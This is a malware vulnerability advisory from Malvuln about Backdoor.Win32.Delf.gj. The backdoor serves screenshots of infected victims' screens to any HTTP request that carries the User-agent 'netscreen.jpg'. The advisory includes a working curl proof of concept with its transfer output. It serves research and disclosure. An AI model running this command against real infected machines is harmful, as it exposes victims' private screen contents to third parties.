Backdoor.Win32.Delf.gj MVID-2022-0663 Information Disclosure

`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/8872c2ec49ff3382240762a029631684.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
Backup media: infosec.exchange/@malvuln  
  
Threat: Backdoor.Win32.Delf.gj  
Vulnerability: Information Disclosure  
Description: The malware listens on TCP port 80. Third-party adversaries who can reach an infected system can pass "netscreen.jpg" for the User-agent: header in the HTTP request to download victim machines screen captures.  
Family: Delf  
Type: PE32  
MD5: 8872c2ec49ff3382240762a029631684  
Vuln ID: MVID-2022-0663  
Disclosure: 12/01/2022  
  
  
Exploit/PoC:  
curl http://x.x.x.x -H "User-agent: netscreen.jpg" --output screendump.jpg  
% Total % Received % Xferd Average Speed Time Time Time Current  
Dload Upload Total Spent Left Speed  
100 215k 100 215k 0 0 215k 0 0:00:01 --:--:-- 0:00:01 1976k  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`